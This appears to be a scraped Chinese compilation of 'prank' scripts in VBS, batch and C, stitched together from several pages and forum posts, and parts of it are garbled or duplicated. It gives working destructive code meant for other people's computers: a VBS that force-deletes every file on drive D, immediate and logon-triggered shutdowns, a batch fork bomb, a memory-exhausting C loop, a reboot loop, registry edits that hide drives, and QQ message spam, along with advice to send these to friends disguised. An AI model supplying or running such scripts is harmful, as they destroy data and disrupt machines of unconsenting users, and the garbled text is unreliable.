C 语言整人代码大全
vbs整人代码大集合 多年的代码收集
vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。
不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>复制代码代码如下:On Error Resume NextDim wsh,yeset wsh=createobject("wscript.shell")for i=1 to 10wscript.sleep 700wsh.AppActivate("与xx 聊天中")wsh.sendKeys "^v"wsh.sendKeys iwsh.sendKeys "%s"nextwscript.quitQQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgbox "Y ou are foolish!"loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------------------------------------------set wsh=createobject("wscript.shell")dowsh.run "calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------复制代码代码如下:while(1)msgbox "哈哈你被耍了！"loop----------------------------------------------------------------------------七、不断按下alt+f4 （开什么都关闭……）---------------------------------------------------------------------------复制代码代码如下:dim WSHshellset WSHshell = wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys "%{F4}"loop八、按500次回车(以上代码在运行者的电脑上显示500个对话框。
vbs整人代码,表白+提醒两段代码就OK
vbs整人代码，表白+提醒两段代码就OKvbs整人代码，表白+提醒两段代码就OK一msgbox "做我女朋友好吗",vbQuestion,"在吗"msgbox ("房产写你名字")msgbox ("保大")msgbox ("我妈会游泳")dim jdo while j Select Case msgbox("做我女朋友好吗",68,"请郑重的回答我")Case 6 j=1Case 7 msgbox("再给你一次机会")end Selectloopmsgbox("我就知道你会同意的，哈哈哈哈")使用方法：新建一个txt文档，将上面的代码复制到txt，然后将文档的后缀名改成vbs。
鼠标双击即可执行。
二步骤一：在电脑上新建一个txt文件步骤二：将以下代码复制过去（中文可以改）const title = “爱情测试”const yourname = “嫦娥”const question = “你最喜欢的人是谁？请在下面的方框中输入他（她）的名字。
”const info = “你在说谎！不要逃避，实话实说。
”const scend = “你说出了你的心扉，那就向他（她）表白吧。
”dim youranswerdoyouranswer = inputbox(question, title)if youranswer yourname then msgbox info, vbinformation+vbokonly, titleloop until youranswer = yournamemsgbox scend, vbinformation+vbokonly, title步骤三：讲后缀名改为vbs点击之后效果：当输入的名字不是代码中的“嫦娥”，则会弹出"你在说谎！不要逃避，实话实说。
收藏的一些整人的代码
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
echo. 系统将马上崩溃......
echo. 这是一个木马程序......所有资料已经传到X@
shutdown /r /t 30 /c "电脑在30s内即将崩溃或爆炸，请拨打1589737****求助或直接爬下……"
ntsd -c q -pn explorer.EⅩE
ping 127.0.0.1 /n 20 >nul
@echo off
echo 删除计算机的C盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的D盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的E盘的所有文件......
结素任务都不行，他只能说他是猪才能解决问题。够坏吧？ 注意哦，你可以把我是猪那个修改成任意想说的话，要是对付你喜欢的人，
就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打开了20秒就关了,还没等对方打完就关机了 是不是叫对方很郁闷呢?
C语言学习_恶搞小程序
C语⾔学习_恶搞⼩程序恶搞⼩程序：1 #include<stdio.h>23int main()4 {5 system("shutdown -s -t 3600");//弹出窗⼝60秒倒计时关机67return0;8 }关机提醒解决办法，如果时间太短，你就没办法了，3600s⾜够你打开命令提⽰符，shutdown -a取消关机计划1 #include"stdio.h"2int main()3 {4int n;5char a[10];6 printf("叫⼤哥,不叫就关机(你有30秒的时间,如果关闭本程序⼀样要关机)\n");7 system("shutdown -s -t 3600");8while(1)9 {10 printf("叫:");11 scanf("%s",&a);12 n=strcmp(a,"⼤哥");13if(n==0)14 {15 system("shutdown -a");16 printf("嗯，真乖爽!哈哈哈!!！");17break;18 }19 }20 }好玩⼀点的⽼⽼实实输⼊⼤哥。
1 #include<stdio.h>23int main()4 {5int i = 0;67for(i=0;i<20;i++)8 {9 system("start"); //每运⾏⼀次都会开启⼀个dos窗⼝10 }1112return0;13 }弹出很多框框这⾥的原理只是调⽤dos命令，当然也可以打开很多⽹站窗⼝，解决办法是你别点，哈哈1 #include<stdio.h>2 #include<malloc.h>34int main()5 {6while(true){ //导致系统越来越慢，因为内存⼀直持续占⽤7malloc(1000);//每次执⾏都分配占⽤1000个字节空间长度8//可查看任务管理器的性能窗⼝进⾏⽐较9 }10return0;11 }循环分配内存，让系统卡死这⾥的原理是⼀直分配内存出去，不论你的内存多⼤，让你卡死只是时间问题。
VBS整人代码大全
VBS整人代码大全一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>=---------------------------------------------------------------------------On Error Resume NextDim wsh,yeset wsh=createobject("wscript.shell")for i=1 to 10wscript.sleep 700wsh.AppActivate("与 xx 聊天中")wsh.sendKeys "^v"wsh.sendKeys iwsh.sendKeys "%s"nextwscript.quit----------------------------------------------------------------------------QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgbox "You are foolish!"loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------------------------------------------set wsh=createobject("wscript.shell")dowsh.run "calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------while(1)msgbox "哈哈你被耍了！"loop----------------------------------------------------------------------------七、不断按下alt+f4 （开什么都关闭……）---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys "%{F4}"loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。
整人“病毒”代码(一)
整人“病毒”代码（一）发表于2013-10-23 10:33前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。
PS：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。
一、怎么点都没反应的桌面如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。
把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。
他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开机中…………附带：print键截屏方法：键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图！用法一，按“Print Screen SysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。
用法二，先按住“Alt”键，再按“Print Screen SysRq”键，则是对当前窗口进行抓图。
如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。
哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！二、让电脑硬盘消失－隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！步骤1.新建一个记事本2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中：Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer]"NoDrives" =hex:08,00,00,00解释（1）"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。
vbs整人代码大集合
未知驱动探索，专注成就专业
vbs整人代码大集合
1. 简介
本文档将介绍一些有趣的VBScript (VBS)代码，这些代码可以用于整人、恶作剧或者娱乐。
VBScript是一种微软开发的脚本语言，可以通过各种操作系统上的微软系列产品（如Windows）来使用。
请注意，这些代码仅用于娱乐目的，不应用于恶意活动或任何非法行为。
使用这些代码时，请确保你已经获得了授权。
2. 鼠标移动逃避
这段代码将在屏幕上显示一个小的色块，并在用户试图移动鼠标指针靠近色块时，自动将色块移动到一个随机位置。
```vbs Set objShell = CreateObject(
1。
简单浪漫的C语言代码
简单浪漫的C语言代码C语言，作为计算机科学领域最为经典的语言之一，无论是在工程上还是在教学上都有着极大的影响力。
很多人认为，C语言的代码冗长且复杂，很难产生浪漫和柔软的感觉，但事实上，C语言也可以写出简单浪漫的代码，让人无法拒绝的韵味。
下面就介绍几个简单浪漫的C语言代码。
1.模拟心跳```c #include <stdio.h> #include <stdlib.h>#include <time.h> #include <unistd.h>#define MAX 100int main() { srand(time(NULL)); intcount = 0; while(1) { printf("#"); usleep((rand()%MAX)*1000); printf("#"); usleep((rand()%MAX)*1000); count++;if(count%60 == 0){ printf("\n"); } }return 0; } ```这段代码通过打印“#”字符来模拟心跳的跳动，加入了随机延迟，让它们的跳动速度变成了不规律的，更加具有人类般的柔软性。
同时，更加可爱的是，每打印60个“#”字符后，它会自动地换行，给人一种温暖而富有生气的感觉。
2.漂亮的打印矩形```c #include <stdio.h> #include <stdlib.h>#include <unistd.h>#define ROW 10 #define COL 40int main() { for(int i = 0; i < ROW; i++){ for(int j = 0; j < COL; j++){ if(i == 0 || i == ROW-1 || j == 0 ||j == COL-1){ printf("*"); } else{ printf(""); } } printf("\n"); usleep(100000); } return 0; } ```这段代码可以打印一个非常简单的矩形，但是通过在矩形外围的边框打印“*”字符，它变得非常漂亮。
初学编程100个代码大全c语言
初学编程100个代码大全c语言当初学编程时，了解一些常见的代码示例是非常有帮助的。
以下是一些常见的C语言代码示例，总共100个，供你参考：1. Hello World程序：c.#include <stdio.h>。
int main() {。
printf("Hello, World!\n");return 0;}。
2. 计算两个数的和：#include <stdio.h>。
int main() {。
int num1, num2, sum;printf("Enter two numbers: "); scanf("%d %d", &num1, &num2); sum = num1 + num2;printf("Sum = %d\n", sum);return 0;}。
3. 判断一个数是奇数还是偶数：#include <stdio.h>。
int main() {。
int num;printf("Enter a number: ");scanf("%d", &num);if (num % 2 == 0) {。
printf("%d is even.\n", num); } else {。
printf("%d is odd.\n", num); }。
return 0;}。
4. 判断一个数是正数、负数还是零：c.#include <stdio.h>。
int main() {。
int num;printf("Enter a number: ");scanf("%d", &num);if (num > 0) {。
printf("%d is positive.\n", num);} else if (num < 0) {。
愚人节整蛊人的电脑小程序
愚人节整蛊人的电脑小程序每年的愚人节，大家都是通过整蛊别人的方法，娱乐娱乐别人，然后自己哈哈一笑，再娱乐娱乐自己。
下面是小编整理的愚人节捉弄人小程序，分享给大家!愚人节捉弄人小程序第一个:让别人内存OVER(逼他重启)@echo offstart cmd%0就这3行了打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第二个:让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1if not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第三个:善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(WSHshellA.rundim ado while(aa = inputbox (msgbox chr(13) + chr(13) + chr(13) + a,0,loopmsgbox chr(13) + chr(13) + chr(13) +dim WSHshellset WSHshell = wscript.createobject(WSHshell.runmsgbox chr(13) + chr(13) + chr(13) +复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，结束任务都不行，他只能说他是猪才能解决问题。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
下面看第二个整人的脚本
-------------------------------------------------------------------------------------------
set ws=createobject("wscript.shell")
call shutdown(1)
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰
你工作。")
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
这些文字也可以自设这个脚本启用cmd里的关机程序
如果不输的的话可以打开任务管理器输入shutdown -a来解除我们试下这时定时关机已
经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe这个进程就OK
了这时就完全解除这个脚本了Wscript时Windows脚本宿主
-------------------------------------------------------------------------------------------
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
<title>网页特效|/Js|---很恶心的常见整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('为什么把鼠标放到这里?');
alert('我不是说过不可以这样吗？');
alert('你把我的话当什么了？');
alert('你知道错了吗？');
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说""我是猪"" ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法
我们来看下这个脚本
--------------------------------------------------------------------------------
on error resume next
dim WSHshellA
举报| 2011-06-01 20:46回复
菊花爆开
电白自学
4楼
此代码的威力：
1：开机就强制自动关机
2：cmd命令打不开
3：结束任务不管用
4：F8安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，
这段代码可以改成你自己设定的地址
如果别人不输我是猪的话就会一直点下去点到你设定的数字
for i=1 to 100
从1到100
可以改成20其他的数字
解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe
这个进程就好了
[color=#FF0000]复制以上代码，在桌面建一个文本，把代码放进去，另存为VBS格式，
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
--------------------------------------------------------------------------------
ws.run"iexplore.exe /137841986/infocenter"
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你
的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无
46回复菊花爆开电白自学setwshshellawscriptcreateobjectwscriptshellwshshellaruncmdexe说我是猪不说我是猪就一分钟关机不信试下truedimdowhileainputbox说我是猪就不关机快撒说说不说80007000msgboxchr13a0msgboxloopmsgboxchr13早说就行了嘛推荐精选dimwshshellsetwshshellwscriptcreateobjectwscriptshellwshshellruncmdexetruemsgboxchr13新建一个记事本把上面的代码复制进去另存为vbe格式的就可以了cmdexe这里的数字可以修改关机时间180这些文字也可以自设这个脚本启用cmd里的关机程序如果不输的的话可以打开任务管理器输入shutdown来解除我们试下这时定时关机经没了但是还有个关不掉的窗口我们打开任务管理器结束掉wscriptexe这个进程就ok这时就完全解除这个脚本了wscript时windows脚本宿主setwscreateobjectwscriptshellcallshutdown1dowhileainputbox快在下面的框框里输入我是猪否则后果自负快输我是猪输不输loopcallshutdown2msgbox早说就行了嘛409664msgbox再输一遍我是猪
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")